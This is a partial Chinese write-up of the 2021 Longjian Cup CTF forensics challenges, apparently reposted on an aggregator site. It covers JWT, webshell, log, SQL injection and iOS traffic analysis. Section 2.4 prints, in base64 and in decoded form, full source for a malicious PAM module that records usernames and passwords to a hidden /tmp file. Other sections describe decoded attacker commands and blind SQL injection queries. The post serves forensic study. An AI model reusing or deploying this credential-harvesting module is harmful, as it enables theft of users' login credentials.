安全-陇剑杯2021(部分)

Posted 小狐狸FM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-陇剑杯2021(部分)相关的知识,希望对你有一定的参考价值。

前言

比赛的题目相比其他的ctf更简单了些,就是平台一开始太卡了
学习到了很多知识,剩下的题目就等大佬的WP了

一、签到

查看一下协议分级,Hypertext Transfer Protocol(HTTP)协议占比较大,改成小写提交
注:找协议树中的叶子节点,Ethernet、IPV4、TCP是根节点

二、jwt

2.1

和题目一样直接提交jwt就行

2.2

过滤http协议

选择编号较大的报文追踪http流,查看token部分(当前的tcp分组为29)

参考文章:使用JWT实现Token认证

把payload的部分提取出来

进行base64解码得到id和username

如果你选择的是编号较小的报文追踪http流时,得到的id是10086,这个是错误的id

2.3

先导出所有的HTTP对象

exec(14)中黑客提交了一条命令whoami查看当前用户的信息

exec(16)中是服务端返回给客户端的html代码
javascript的弹窗显示root是对之前whoami命令的回应

2.4

同理导出所有的HTTP对象
exec(26)中拖到最后面就是黑客上传的文件1.c


前面有两坨代码,第一部分进行了URL编码和base64,第二部分只进行了base64
%2b+符号的URL编码形式,%20是空格的URL编码形式

%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2b

将第二部分代码base64解密后得到的是1.c里面的c语言代码

CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9

虽然看不懂这个代码,但是后面的一个函数有写用户名、密码的东西,应该就是恶意代码了


#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}

void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}

snprintf(message,2048,"Username %s\\nPassword: %s\\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}

2.5

慢慢找so后缀文件就能发现

2.6

这个是猜的,没找到修改的操作,只找到了显示的命令

三、webshell

3.1

查找POST请求包,在一个URL/index.php?m=Home&c=Members&a=login发现了密码

3.2

绝对路径的话有两个部分组成,一个是网站根目录,另一个是相对路径
导出HTTP对象,一个个找,在index(34).php%3fm=home&a=assign_resume_tpl文件中发现了含有phpinfo()页面的东西

将其后缀变更为.html用浏览器打开,先查找网站根路径为/var/www/html

PHP变量中查找.log后缀的日志文件,路径为data/Runtime/Logs/Home/21_08_07.log,两个拼起来就是答案

3.4

在翻到1(10).php的时候感觉1.php很可疑,就提交了

四、日志分析

4.1

攻击者是通过字典的方式爆破网站源码文件名,查找HTTP状态码为200的就是答案,1686是返回包的大小
其中index.php也是200状态码,通常index文件是网站默认的首页,不会是泄露的源码

4.2


4.3

答案在最后几行,{键1:值1;键2:值2}这种数据格式是json(JavaScript Object Notation的缩写)

七、简单日志分析

7.1

207行发现有一个以user为参数的GET请求

把后面的密文进行base64解密,可以看到其中含有linux命令cat

7.2

207行发现有一个以user为参数的GET请求

把后面的密文进行base64解密,黑客使用cat命令查看了/Th4s_IS_VERY_Import_Fi1e文件

7.3

在最后一行,提取user参数的值

同理base64解码,发现了bash反弹shell命令

八、SQL注入

8.1

8.2

查库名:
1行到161行,看database()在哪些行有就去查哪些
s1,1)最后一个
q2,1)最后一个
因为第161行是个加号,加号在URL中会被识别成空格,所以不需要写

以此类推,查询出表名就找table_name,查字段名找column_name

起始行终止行盲注内容
1161数据库名
162353sqli数据库的表名
354545sqli数据库flag表的字段名
5462764sqli数据flag表flag字段内容

有一种取巧方法,先将日志信息全部url编码后,直接从后往前翻
执行了一条sql语句,查询的是sqli数据库flag表的flag字段

select flag from sqli.flag

8.3

和之前的方法一样,在第546行到2764行找就行

十、ios

10.1

追踪http流量


10.2

追踪http流量


10.8

参考:PHP:system - Manual
可以看到fxxk参数的值是一串命令,systemphp中的危险函数

以上是关于安全-陇剑杯2021(部分)的主要内容,如果未能解决你的问题,请参考以下文章

2021陇剑杯网络安全大赛wp-IOS部分(详细题解)

2021陇剑杯网络安全大赛-签到

2021陇剑杯网络安全大赛-JWT

2021陇剑杯网络安全大赛-iOS

2021陇剑杯网络安全大赛-SQL注入

首届“陇剑杯”网络安全大赛(部分WP)